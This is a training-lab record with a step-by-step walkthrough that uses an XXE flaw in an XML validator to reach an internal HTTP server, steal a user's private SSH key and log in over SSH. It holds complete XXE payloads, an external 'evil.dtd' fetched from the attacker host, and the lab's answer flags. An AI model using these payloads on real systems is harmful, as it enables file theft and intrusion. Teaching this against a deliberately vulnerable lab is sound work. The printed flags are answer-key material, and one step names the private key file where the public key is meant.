{ "id": "766de141-0fff-48cf-aa8c-16ecdc836367", "name": "SSRF to RCE", "slug": "ssrf-to-rce", "status": "published", "lab_type": "pta", "is_sample": false, "duration_in_seconds": 1800, "metadata": { "courses": [ "e68327e2-fb00-46b3-bbe3-f85fcb779c1f", "630a470a-1ccf-44eb-8111-8947846b5d78" ], "pta_sdn": "186", "collections": [], "pta_namespace": "my.ine", "learning_paths": [], "has_published_parent": true }, "session": null, "company": "a491bc32-c056-4946-9169-cc053387bada", "created": "2022-06-09T17:45:40.041682Z", "modified": "2024-12-31T15:48:59.149079Z", "is_beta": false, "lab_objectives": [], "main_learning_area": "3e1aa06f-2e9f-4789-b50d-aa027ad8dcfa", "learning_areas": [ { "id": "3e1aa06f-2e9f-4789-b50d-aa027ad8dcfa", "name": "Cyber Security", "slug": "cyber-security" } ], "categories": [], "tags": [], "difficulty": null, "is_web_access": false, "is_lab_experience": false, "is_featured": false, "cve": null, "severity": null, "year": null, "classification": null, "is_trackable": false, "cpe_credits": null, "is_skill_check": false, "external_url": "", "solution_video": null, "explanation_video": null, "description": "In this lab, you will leverage XXE vulnerability in a vulnerable application to perform SSRF and eventually gain RCE on the target machine.", "description_html": "

In this lab, you will leverage XXE vulnerability in a vulnerable application to perform SSRF and eventually gain RCE on the target machine.

", "tasks": "# Lab Environment\n\nIn this lab environment, the user will get access to a Kali GUI instance. A vulnerable web app can be accessed using the tools installed on Kali at http://demo.ine.local. \n\n**Objective:** Leverage the XXE vulnerability in the web application to perform SSRF, steal SSH keys for a user, and get all the flags from the target machine. \n\n![0](https://assets.ine.com/content/ptp/ssrf_to_rce/0.png)\n\n# Instructions\n\nThe vulnerable application can be accessed via the browser on port 5000. \n\n# Tools\n\nThe best tools for this lab are: \n\n- Nmap\n- ssh\n- A web browser\n\n**Please go ahead ONLY if you have COMPLETED the lab or you are stuck! Checking the solutions before actually trying the concepts and techniques you studied in the course will dramatically reduce the benefits of a hands-on lab!**", "tasks_html": "

Lab Environment

\n

In this lab environment, the user will get access to a Kali GUI instance. A vulnerable web app can be accessed using the tools installed on Kali at http://demo.ine.local.

\n

Objective: Leverage the XXE vulnerability in the web application to perform SSRF, steal SSH keys for a user, and get all the flags from the target machine.

\n

\"0\"

\n

Instructions

\n

The vulnerable application can be accessed via the browser on port 5000.

\n

Tools

\n

The best tools for this lab are:

\n\n

Please go ahead ONLY if you have COMPLETED the lab or you are stuck! Checking the solutions before actually trying the concepts and techniques you studied in the course will dramatically reduce the benefits of a hands-on lab!

", "published_date": "2020-10-20T15:32:24Z", "solutions": "# Solution\n\n**Step 1:** Open the lab link to access the Kali GUI instance. \n\n![1](https://assets.ine.com/content/ptp/ssrf_to_rce/1.png)\n\n**Step 2:** Check if the provided machine/domain is reachable. \n\n**Command:**\n```\nping -c3 demo.ine.local\n```\n\n![2](https://assets.ine.com/content/ptp/ssrf_to_rce/2.png)\n\nThe provided machine is reachable. \n\n**Step 3:** Check open ports on the provided machine.\n\n**Command:**\n```\nnmap -sS -sV demo.ine.local\n```\n\n![3](https://assets.ine.com/content/ptp/ssrf_to_rce/3.png)\n\n![3_1](https://assets.ine.com/content/ptp/ssrf_to_rce/3_1.png)\n\nPorts 22 (SSH), 5000, and 8000 (Python-based HTTP server) are open on the target machine. As mentioned in the challenge description, the vulnerable web application is available on port 5000. \n\nAlso, if you check the output from Nmap, you will find out the fingerprint for the service running at port 5000. It contains the HTTP response. \n\n**Step 4:** Check the web application available on port 5000. \n\nOpen the following URL in the browser: \n\n**URL:** http://demo.ine.local:5000 \n\n![4](https://assets.ine.com/content/ptp/ssrf_to_rce/4.png)\n\nAn XML Validator application is available on port 5000. \n\nSend the following XML snippet for validation: \n\n```\n\n\n\t\n\t\tTest Name\n\t\tTest Description\n\t\n\n```\n\n![4_1](https://assets.ine.com/content/ptp/ssrf_to_rce/4_1.png)\n\nClick on the **Validate XML** button: \n\n![4_2](https://assets.ine.com/content/ptp/ssrf_to_rce/4_2.png)\n\nThe response indicates that the supplied XML is valid. \n\nNotice that the supplied XML is also reflected in the response. \n\n**Step 5:** Identify and exploit the XXE vulnerability. \n\nSend the following XML snippet containing an XML entity: \n\n```\n\n ]>\n\n\t\n\t\tTest Name\n\t\t&desc;\n\t\n\n```\n\n![5](https://assets.ine.com/content/ptp/ssrf_to_rce/5.png)\n\nNotice the response contains the description specified in the XML entity! \n\nNot that we know there is an XXE vulnerability; let's leverage it to pull information on the internal services running on the target machine. \n\nUse the following XML snippet to read the contents of the `/proc/net/tcp` file: \n\n```\n\n\n]>\n&file;\n```\n\n**Information:** The `/proc/net/tcp` file contains information on the current TCP network connections. \n\n![5_1](https://assets.ine.com/content/ptp/ssrf_to_rce/5_1.png)\n\n![5_2](https://assets.ine.com/content/ptp/ssrf_to_rce/5_2.png)\n\nNotice we got back the file contents! \n\n**Contents of the `/proc/net/tcp` file**: \n\n```\nsl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode\n0: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 74435656 1 0000000000000000 100 0 0 10 0\n1: 0100007F:22B8 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 74418007 1 0000000000000000 100 0 0 10 0\n2: 0B00007F:9599 00000000:0000 0A 00000000:00000000 00:00000000 00000000 65534 0 74430920 1 0000000000000000 100 0 0 10 0\n3: 00000000:1F40 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 74434697 1 0000000000000000 100 0 0 10 0\n4: 034CDCC0:1F40 024CDCC0:EB4C 06 00000000:00000000 03:0000176F 00000000 0 0 0 3 0000000000000000\n5: 034CDCC0:1F40 024CDCC0:EB4E 01 00000000:00000000 00:00000000 00000000 0 0 74434828 1 0000000000000000 20 4 30 10 -1\n```\n\n**Note:** The information you received would differ slightly since the IP addresses of the machines change at every lab launch. Kindly make sure to fetch the contents of the above file before proceeding. \n\n**Step 6:** Decode the IP addresses and port numbers retrieved from the `/proc/net/tcp` file. \n\nUse the following Python script to convert the IP addresses in hex to dotted-decimal notation: \n\n**convert\\.py:** \n```\nimport socket\nimport struct\nhex_ip = input(\"Enter IP (in hex): \")\naddr_long = int(hex_ip, 16)\nprint(\"IP in dotted-decimal notation:\", socket.inet_ntoa(struct.pack(\"\n\n\t%dtd;\n\t%all;\n]>\n&fileContents;\n```\n\n**Note:** Kindly make sure to replace the IP address in the above payload. \n\n![7_1](https://assets.ine.com/content/ptp/ssrf_to_rce/7_1.png)\n\nBefore sending the above XXE payload, save the following snippet as `evil.dtd`: \n\n```\n\n\n\">\n\">\n```\n\n![7_2](https://assets.ine.com/content/ptp/ssrf_to_rce/7_2.png)\n\nStart a Python-based HTTP server on port 8080: \n\n**Command:** \n```\npython3 -m http.server 8080\n```\n\n![7_3](https://assets.ine.com/content/ptp/ssrf_to_rce/7_3.png)\n\n**Information on the payload:** \n\nThe first payload (sent to the web app for validation) would load the contents of the `evil.dtd` file from the attacker machine and then this file would be parsed by the backend. \n\nThe `evil.dtd` file contains the entity that sends a request to `localhost:8888` and the result is embedded within the CDATA section. \n\n**Information on CDATA:** CDATA sections can be used to \"block escape\" literal text when replacing prohibited characters with entity references is undesirable. \n\n**Reference:** https://www.w3resource.com/xml/CDATA-sections.php \n\nSome examples of prohibited characters are `<`, `>`, `&`, `\"`, `'`. \n\nSo, the above payload makes sure that if the response does contain some restricted characters, those characters will get embedded into the CDATA section, and hence the XML validator will raise no errors. \n\nNow we are ready to send the XXE payload: \n\n![7_4](https://assets.ine.com/content/ptp/ssrf_to_rce/7_4.png)\n\n![7_5](https://assets.ine.com/content/ptp/ssrf_to_rce/7_5.png)\n\nNotice the response contains a directory listing. It must be some sort of HTTP server. \n\nThe response indicates the presence of files like **flag1** and directories like **.ssh**. \n\nHead back to the terminal running the Python-based HTTP server: \n\n![7_6](https://assets.ine.com/content/ptp/ssrf_to_rce/7_6.png)\n\nNotice there was a request from the target machine to fetch the `evil.dtd` file. \n\nSave the HTML contents received from the internal HTTP server: \n\n**Command:** \n```\ncat listing.html\n```\n\n![7_7](https://assets.ine.com/content/ptp/ssrf_to_rce/7_7.png)\n\nOpen the `listing.html` file in the browser: \n\n**URL:** \n```\nfile:///root/listing.html\n```\n\n![7_8](https://assets.ine.com/content/ptp/ssrf_to_rce/7_8.png)\n\nNotice there are 2 entries: **.ssh/** and **flag1**. \n\nLet's fetch these in the subsequent steps. \n\n**Note:** The other internal port open on the machine won't return any information. You are encouraged to interact with it by modifying the `evil.dtd` file to contain the IP and port on which that service is running. \n\n**Step 8:** Retrieve the first flag via XXE. \n\nModify the `evil.dtd` file to fetch the contents of file `flag1`: \n\n```\n\n\n\">\n\">\n```\n\n![8](https://assets.ine.com/content/ptp/ssrf_to_rce/8.png)\n\nStart a Python-based HTTP server on port 8080: \n\n**Command:** \n```\npython3 -m http.server 8080\n```\n\n![8_1](https://assets.ine.com/content/ptp/ssrf_to_rce/8_1.png)\n\nSend the same XXE payload we sent in the last step: \n\n```\n\n\n\t%dtd;\n\t%all;\n]>\n&fileContents;\n```\n\n![8_2](https://assets.ine.com/content/ptp/ssrf_to_rce/8_2.png)\n\nThe contents of `flag1` file are retrieved: \n\n**Flag 1:** 5f1210be00b4b8dfecba7b56181d905c\n\nHead back to the terminal running the Python-based HTTP server: \n\n![8_3](https://assets.ine.com/content/ptp/ssrf_to_rce/8_3.png)\n\nNotice there was a request from the target machine to fetch the `evil.dtd` file. \n\n**Step 9:** Fetch the contents of the **.ssh** directory. \n\nModify the `evil.dtd` file to fetch the contents of `.ssh` directory: \n\n```\n\n\n\">\n\">\n```\n\n![9](https://assets.ine.com/content/ptp/ssrf_to_rce/9.png)\n\nStart a Python-based HTTP server on port 8080: \n\n**Command:** \n```\npython3 -m http.server 8080\n```\n\n![9_1](https://assets.ine.com/content/ptp/ssrf_to_rce/9_1.png)\n\nSend the same XXE payload we sent in the last step: \n\n```\n\n\n\t%dtd;\n\t%all;\n]>\n&fileContents;\n```\n\n![9_2](https://assets.ine.com/content/ptp/ssrf_to_rce/9_2.png)\n\nThe directory listing for **.ssh** directory is retrieved: \n\n![9_3](https://assets.ine.com/content/ptp/ssrf_to_rce/9_3.png)\n\nSave the retrieved HTML contents: \n\n**Command:** \n```\ncat listing.html\n```\n\n![9_4](https://assets.ine.com/content/ptp/ssrf_to_rce/9_4.png)\n\nOpen the `listing.html` file in the browser: \n\n**URL:** \n```\nfile:///root/listing.html\n```\n\n![9_5](https://assets.ine.com/content/ptp/ssrf_to_rce/9_5.png)\n\nNotice there are three files in the **.ssh** directory: \n\n- authorized_keys\n- id_rsa\n- id_rsa.pub\n\nIn the subsequent steps, we will fetch some of these files. \n\n**Step 10:** Retrieve the private SSH keys. \n\nModify the `evil.dtd` file to fetch the contents of `id_rsa` file: \n\n```\n\n\n\">\n\">\n```\n\n![10](https://assets.ine.com/content/ptp/ssrf_to_rce/10.png)\n\nStart a Python-based HTTP server on port 8080: \n\n**Command:** \n```\npython3 -m http.server 8080\n```\n\n![10_1](https://assets.ine.com/content/ptp/ssrf_to_rce/10_1.png)\n\nSend the same XXE payload we sent in the last step: \n\n```\n\n\n\t%dtd;\n\t%all;\n]>\n&fileContents;\n```\n\n![10_2](https://assets.ine.com/content/ptp/ssrf_to_rce/10_2.png)\n\nThe response contains the private SSH keys. \n\n![10_3](https://assets.ine.com/content/ptp/ssrf_to_rce/10_3.png)\n\nSave the contents of the private keys to the `id_rsa` file: \n\n**Command:** \n```\ncat id_rsa\n```\n\n![10_4](https://assets.ine.com/content/ptp/ssrf_to_rce/10_4.png)\n\nThe private SSH key is missing the new lines. \n\nTo restore the file, we can use the following command: \n\n**Command:** \n```\nsed -e \"s/-----BEGIN RSA PRIVATE KEY-----/&\\n/\" \\\n\t-e \"s/-----END RSA PRIVATE KEY-----/\\n&/\" \\\n\t-e \"s/\\S\\{64\\}/&\\n/g\" \\\n\tid_rsa\n```\n\n![10_5](https://assets.ine.com/content/ptp/ssrf_to_rce/10_5.png)\n\n![10_6](https://assets.ine.com/content/ptp/ssrf_to_rce/10_6.png)\n\nThe output contains the properly-formatted private SSH key. \n\nThe above command does the following:\n- Adds a new line after the `-----BEGIN RSA PRIVATE KEY-----` string\n- Adds a new line before the `-----END RSA PRIVATE KEY-----` string\n- For all other string blocks, it adds a new line after every 64 characters\n\nUse the following command to save the formatted private key to the file `fixed_id_rsa`: \n\n**Command:** \n```\nsed -e \"s/-----BEGIN RSA PRIVATE KEY-----/&\\n/\" \\\n\t-e \"s/-----END RSA PRIVATE KEY-----/\\n&/\" \\\n\t-e \"s/\\S\\{64\\}/&\\n/g\" \\\n\tid_rsa > fixed_id_rsa\n```\n\n![10_7](https://assets.ine.com/content/ptp/ssrf_to_rce/10_7.png)\n\nCheck the contents of the `fixed_id_rsa` file: \n\n**Command:** \n```\ncat fixed_id_rsa\n```\n\n![10_8](https://assets.ine.com/content/ptp/ssrf_to_rce/10_8.png)\n\nThe well-formatted private SSH key has been placed in a file. \n\n**Step 11:** Gain SSH access on the target machine. \n\nWe have the private SSH key but don't yet know the user to whom it belongs. \n\nTo use the SSH keys for login, we have to find out the corresponding user name. For that, we will be using the public SSH keys. This file could contain the email of the user or the account name followed by the hostname. In either case, we will find the user name. \n\nModify the `evil.dtd` file to fetch the contents of the `id_rsa.pub` file: \n\n```\n\n\n\">\n\">\n```\n\n![11](https://assets.ine.com/content/ptp/ssrf_to_rce/11.png)\n\nStart a Python-based HTTP server on port 8080: \n\n**Command:** \n```\npython3 -m http.server 8080\n```\n\n![11_1](https://assets.ine.com/content/ptp/ssrf_to_rce/11_1.png)\n\nSend the same XXE payload we sent in the last step: \n\n```\n\n\n\t%dtd;\n\t%all;\n]>\n&fileContents;\n```\n\n![11_2](https://assets.ine.com/content/ptp/ssrf_to_rce/11_2.png)\n\nThe contents of the public SSH key were successfully retrieved. \n\n![11_3](https://assets.ine.com/content/ptp/ssrf_to_rce/11_3.png)\n\nThe email id of the user is also revealed: `david@insecure-corp.com` \n\nModify the permissions of the `fixed_id_rsa` file and SSH into the target machine: \n\n**Commands:** \n```\nchmod 600 fixed_id_rsa\nssh -i fixed_id_rsa david@demo.ine.local\n```\n\n![11_4](https://assets.ine.com/content/ptp/ssrf_to_rce/11_4.png)\n\nSSH login was successful! \n\n**Step 12:** Retrieve the second flag. \n\nNow that we have SSH access to the target machine, we can issue commands to perform recon and retrieve all the flags. \n\n**Commands:** \n```\nid\nls\ncat flag1 \nfind / -iname 'flag*' 2>/dev/null \n```\n\n![12](https://assets.ine.com/content/ptp/ssrf_to_rce/12.png)\n\n**Flag 1 (/home/david/flag1):** 5f1210be00b4b8dfecba7b56181d905c \n\nFlag 2 is stored in `/tmp/flag2` file: \n\n**Command:** \n```\ncat /tmp/flag2\n```\n\n![12_1](https://assets.ine.com/content/ptp/ssrf_to_rce/12_1.png)\n\n**Flag 2:** 173b0344950d28e8b5dc36dd462edaa9 \n\nWith that, we conclude this lab. We have learned to leverage an XXE vulnerability to perform an SSRF attack. Using the SSRF attack, we interacted with an internal HTTP server, got hold of SSH keys for a user, and got shell access on the target machine. \n\n\n# References\n\n- [A4:2017-XML External Entities (XXE)](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A4-XML_External_Entities_(XXE))\n- [A10:2021 \u2013 Server-Side Request Forgery (SSRF)](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)\n- [XML CDATA](https://www.w3resource.com/xml/CDATA-sections.php)", "solutions_html": "

Solution

\n

Step 1: Open the lab link to access the Kali GUI instance.

\n

\"1\"

\n

Step 2: Check if the provided machine/domain is reachable.

\n

Command:\n

ping -c3 demo.ine.local

\n

\"2\"

\n

The provided machine is reachable.

\n

Step 3: Check open ports on the provided machine.

\n

Command:\n

nmap -sS -sV demo.ine.local

\n

\"3\"

\n

\"3_1\"

\n

Ports 22 (SSH), 5000, and 8000 (Python-based HTTP server) are open on the target machine. As mentioned in the challenge description, the vulnerable web application is available on port 5000.

\n

Also, if you check the output from Nmap, you will find out the fingerprint for the service running at port 5000. It contains the HTTP response.

\n

Step 4: Check the web application available on port 5000.

\n

Open the following URL in the browser:

\n

URL: http://demo.ine.local:5000

\n

\"4\"

\n

An XML Validator application is available on port 5000.

\n

Send the following XML snippet for validation:

\n
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<parent>\n    <child>\n        <name>Test Name</name>\n        <description>Test Description</description>\n    </child>\n</parent>
\n\n

\"4_1\"

\n

Click on the Validate XML button:

\n

\"4_2\"

\n

The response indicates that the supplied XML is valid.

\n

Notice that the supplied XML is also reflected in the response.

\n

Step 5: Identify and exploit the XXE vulnerability.

\n

Send the following XML snippet containing an XML entity:

\n
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE replace [<!ENTITY desc \"Test Description\"> ]>\n<parent>\n    <child>\n        <name>Test Name</name>\n        <description>&desc;</description>\n    </child>\n</parent>
\n\n

\"5\"

\n

Notice the response contains the description specified in the XML entity!

\n

Not that we know there is an XXE vulnerability; let's leverage it to pull information on the internal services running on the target machine.

\n

Use the following XML snippet to read the contents of the /proc/net/tcp file:

\n
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE data [\n    <!ENTITY file SYSTEM \"file:///proc/net/tcp\">\n]>\n<data>&file;</data>
\n\n

Information: The /proc/net/tcp file contains information on the current TCP network connections.

\n

\"5_1\"

\n

\"5_2\"

\n

Notice we got back the file contents!

\n

Contents of the /proc/net/tcp file:

\n
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode\n0: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 74435656 1 0000000000000000 100 0 0 10 0\n1: 0100007F:22B8 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 74418007 1 0000000000000000 100 0 0 10 0\n2: 0B00007F:9599 00000000:0000 0A 00000000:00000000 00:00000000 00000000 65534 0 74430920 1 0000000000000000 100 0 0 10 0\n3: 00000000:1F40 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 74434697 1 0000000000000000 100 0 0 10 0\n4: 034CDCC0:1F40 024CDCC0:EB4C 06 00000000:00000000 03:0000176F 00000000 0 0 0 3 0000000000000000\n5: 034CDCC0:1F40 024CDCC0:EB4E 01 00000000:00000000 00:00000000 00000000 0 0 74434828 1 0000000000000000 20 4 30 10 -1
\n\n

Note: The information you received would differ slightly since the IP addresses of the machines change at every lab launch. Kindly make sure to fetch the contents of the above file before proceeding.

\n

Step 6: Decode the IP addresses and port numbers retrieved from the /proc/net/tcp file.

\n

Use the following Python script to convert the IP addresses in hex to dotted-decimal notation:

\n

convert.py:
\n

import socket\nimport struct\nhex_ip = input(\"Enter IP (in hex): \")\naddr_long = int(hex_ip, 16)\nprint(\"IP in dotted-decimal notation:\", socket.inet_ntoa(struct.pack(\"<L\", addr_long)))

\n

\"6\"

\n

Convert the hex IP addresses received from /proc/net/tcp file:

\n

Command:
\n

python3 convert.py

\n

\"6_1\"

\n

Once all the IP addresses are converted, look for the internal IPs. In this case, it's 127.0.0.1 and 127.0.0.11.

\n

Let's also convert the ports from hex to decimal system:

\n

Commands:\n

python3\n0x0016\n0x22B8\n0x9599\n0x1F40

\n

\"6_2\"

\n

The ports corresponding to internal IPs are 8000 and 38297, respectively.

\n

Step 7: Perform an SSRF attack to interact with internal services.

\n

Check the IP address of the attacker machine:

\n

Command:\n

ip addr

\n

\"7\"

\n

The IP address of the attacker machine is 192.220.76.2.

\n

Note: The IP address of the machines is bound to change with every lab start. Kindly make sure to get the correct IP address before moving on to the next steps. Failing to do that would result in failed exploitation attempts.

\n

We will send the following XML snippet to the vulnerable web application:

\n
<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE data [\n    <!ENTITY % dtd SYSTEM \"http://192.220.76.2:8080/evil.dtd\">\n    %dtd;\n    %all;\n]>\n<data>&fileContents;</data>
\n\n

Note: Kindly make sure to replace the IP address in the above payload.

\n

\"7_1\"

\n

Before sending the above XXE payload, save the following snippet as evil.dtd:

\n
<!ENTITY % start \"<![CDATA[\">\n<!ENTITY % file SYSTEM \"http://localhost:8888\">\n<!ENTITY % end \"]]>\">\n<!ENTITY % all \"<!ENTITY fileContents '%start;%file;%end;'>\">
\n\n

\"7_2\"

\n

Start a Python-based HTTP server on port 8080:

\n

Command:
\n

python3 -m http.server 8080

\n

\"7_3\"

\n

Information on the payload:

\n

The first payload (sent to the web app for validation) would load the contents of the evil.dtd file from the attacker machine and then this file would be parsed by the backend.

\n

The evil.dtd file contains the entity that sends a request to localhost:8888 and the result is embedded within the CDATA section.

\n

Information on CDATA: CDATA sections can be used to \"block escape\" literal text when replacing prohibited characters with entity references is undesirable.

\n

Reference: https://www.w3resource.com/xml/CDATA-sections.php

\n

Some examples of prohibited characters are <, >, &, \", '.

\n

So, the above payload makes sure that if the response does contain some restricted characters, those characters will get embedded into the CDATA section, and hence the XML validator will raise no errors.

\n

Now we are ready to send the XXE payload:

\n

\"7_4\"

\n

\"7_5\"

\n

Notice the response contains a directory listing. It must be some sort of HTTP server.

\n

The response indicates the presence of files like flag1 and directories like .ssh.

\n

Head back to the terminal running the Python-based HTTP server:

\n

\"7_6\"

\n

Notice there was a request from the target machine to fetch the evil.dtd file.

\n

Save the HTML contents received from the internal HTTP server:

\n

Command:
\n

cat listing.html

\n

\"7_7\"

\n

Open the listing.html file in the browser:

\n

URL:
\n

file:///root/listing.html

\n

\"7_8\"

\n

Notice there are 2 entries: .ssh/ and flag1.

\n

Let's fetch these in the subsequent steps.

\n

Note: The other internal port open on the machine won't return any information. You are encouraged to interact with it by modifying the evil.dtd file to contain the IP and port on which that service is running.

\n

Step 8: Retrieve the first flag via XXE.

\n

Modify the evil.dtd file to fetch the contents of file flag1:

\n
<!ENTITY % start \"<![CDATA[\">\n<!ENTITY % file SYSTEM \"http://localhost:8888/flag1\">\n<!ENTITY % end \"]]>\">\n<!ENTITY % all \"<!ENTITY fileContents '%start;%file;%end;'>\">
\n\n

\"8\"

\n

Start a Python-based HTTP server on port 8080:

\n

Command:
\n

python3 -m http.server 8080

\n

\"8_1\"

\n

Send the same XXE payload we sent in the last step:

\n
<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE data [\n    <!ENTITY % dtd SYSTEM \"http://192.220.76.2:8080/evil.dtd\">\n    %dtd;\n    %all;\n]>\n<data>&fileContents;</data>
\n\n

\"8_2\"

\n

The contents of flag1 file are retrieved:

\n

Flag 1: 5f1210be00b4b8dfecba7b56181d905c

\n

Head back to the terminal running the Python-based HTTP server:

\n

\"8_3\"

\n

Notice there was a request from the target machine to fetch the evil.dtd file.

\n

Step 9: Fetch the contents of the .ssh directory.

\n

Modify the evil.dtd file to fetch the contents of .ssh directory:

\n
<!ENTITY % start \"<![CDATA[\">\n<!ENTITY % file SYSTEM \"http://localhost:8888/.ssh/\">\n<!ENTITY % end \"]]>\">\n<!ENTITY % all \"<!ENTITY fileContents '%start;%file;%end;'>\">
\n\n

\"9\"

\n

Start a Python-based HTTP server on port 8080:

\n

Command:
\n

python3 -m http.server 8080

\n

\"9_1\"

\n

Send the same XXE payload we sent in the last step:

\n
<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE data [\n    <!ENTITY % dtd SYSTEM \"http://192.220.76.2:8080/evil.dtd\">\n    %dtd;\n    %all;\n]>\n<data>&fileContents;</data>
\n\n

\"9_2\"

\n

The directory listing for .ssh directory is retrieved:

\n

\"9_3\"

\n

Save the retrieved HTML contents:

\n

Command:
\n

cat listing.html

\n

\"9_4\"

\n

Open the listing.html file in the browser:

\n

URL:
\n

file:///root/listing.html

\n

\"9_5\"

\n

Notice there are three files in the .ssh directory:

\n\n

In the subsequent steps, we will fetch some of these files.

\n

Step 10: Retrieve the private SSH keys.

\n

Modify the evil.dtd file to fetch the contents of id_rsa file:

\n
<!ENTITY % start \"<![CDATA[\">\n<!ENTITY % file SYSTEM \"http://localhost:8888/.ssh/id_rsa\">\n<!ENTITY % end \"]]>\">\n<!ENTITY % all \"<!ENTITY fileContents '%start;%file;%end;'>\">
\n\n

\"10\"

\n

Start a Python-based HTTP server on port 8080:

\n

Command:
\n

python3 -m http.server 8080

\n

\"10_1\"

\n

Send the same XXE payload we sent in the last step:

\n
<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE data [\n    <!ENTITY % dtd SYSTEM \"http://192.220.76.2:8080/evil.dtd\">\n    %dtd;\n    %all;\n]>\n<data>&fileContents;</data>
\n\n

\"10_2\"

\n

The response contains the private SSH keys.

\n

\"10_3\"

\n

Save the contents of the private keys to the id_rsa file:

\n

Command:
\n

cat id_rsa

\n

\"10_4\"

\n

The private SSH key is missing the new lines.

\n

To restore the file, we can use the following command:

\n

Command:
\n

sed -e \"s/-----BEGIN RSA PRIVATE KEY-----/&\\n/\" \\\n    -e \"s/-----END RSA PRIVATE KEY-----/\\n&/\" \\\n    -e \"s/\\S\\{64\\}/&\\n/g\" \\\n    id_rsa

\n

\"10_5\"

\n

\"10_6\"

\n

The output contains the properly-formatted private SSH key.

\n

The above command does the following:\n- Adds a new line after the -----BEGIN RSA PRIVATE KEY----- string\n- Adds a new line before the -----END RSA PRIVATE KEY----- string\n- For all other string blocks, it adds a new line after every 64 characters

\n

Use the following command to save the formatted private key to the file fixed_id_rsa:

\n

Command:
\n

sed -e \"s/-----BEGIN RSA PRIVATE KEY-----/&\\n/\" \\\n    -e \"s/-----END RSA PRIVATE KEY-----/\\n&/\" \\\n    -e \"s/\\S\\{64\\}/&\\n/g\" \\\n    id_rsa > fixed_id_rsa

\n

\"10_7\"

\n

Check the contents of the fixed_id_rsa file:

\n

Command:
\n

cat fixed_id_rsa

\n

\"10_8\"

\n

The well-formatted private SSH key has been placed in a file.

\n

Step 11: Gain SSH access on the target machine.

\n

We have the private SSH key but don't yet know the user to whom it belongs.

\n

To use the SSH keys for login, we have to find out the corresponding user name. For that, we will be using the public SSH keys. This file could contain the email of the user or the account name followed by the hostname. In either case, we will find the user name.

\n

Modify the evil.dtd file to fetch the contents of the id_rsa.pub file:

\n
<!ENTITY % start \"<![CDATA[\">\n<!ENTITY % file SYSTEM \"http://localhost:8888/.ssh/id_rsa\">\n<!ENTITY % end \"]]>\">\n<!ENTITY % all \"<!ENTITY fileContents '%start;%file;%end;'>\">
\n\n

\"11\"

\n

Start a Python-based HTTP server on port 8080:

\n

Command:
\n

python3 -m http.server 8080

\n

\"11_1\"

\n

Send the same XXE payload we sent in the last step:

\n
<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE data [\n    <!ENTITY % dtd SYSTEM \"http://192.220.76.2:8080/evil.dtd\">\n    %dtd;\n    %all;\n]>\n<data>&fileContents;</data>
\n\n

\"11_2\"

\n

The contents of the public SSH key were successfully retrieved.

\n

\"11_3\"

\n

The email id of the user is also revealed: david@insecure-corp.com

\n

Modify the permissions of the fixed_id_rsa file and SSH into the target machine:

\n

Commands:
\n

chmod 600 fixed_id_rsa\nssh -i fixed_id_rsa david@demo.ine.local

\n

\"11_4\"

\n

SSH login was successful!

\n

Step 12: Retrieve the second flag.

\n

Now that we have SSH access to the target machine, we can issue commands to perform recon and retrieve all the flags.

\n

Commands:
\n

id\nls\ncat flag1 \nfind / -iname 'flag*' 2>/dev/null

\n

\"12\"

\n

Flag 1 (/home/david/flag1): 5f1210be00b4b8dfecba7b56181d905c

\n

Flag 2 is stored in /tmp/flag2 file:

\n

Command:
\n

cat /tmp/flag2

\n

\"12_1\"

\n

Flag 2: 173b0344950d28e8b5dc36dd462edaa9

\n

With that, we conclude this lab. We have learned to leverage an XXE vulnerability to perform an SSRF attack. Using the SSRF attack, we interacted with an internal HTTP server, got hold of SSH keys for a user, and got shell access on the target machine.

\n

References

\n", "flags": [], "min_points_to_pass": null, "access_type": "default", "user_status": "unstarted", "user_lab_status": null, "user_status_modified": null, "user_flags": [], "global_running_session": null }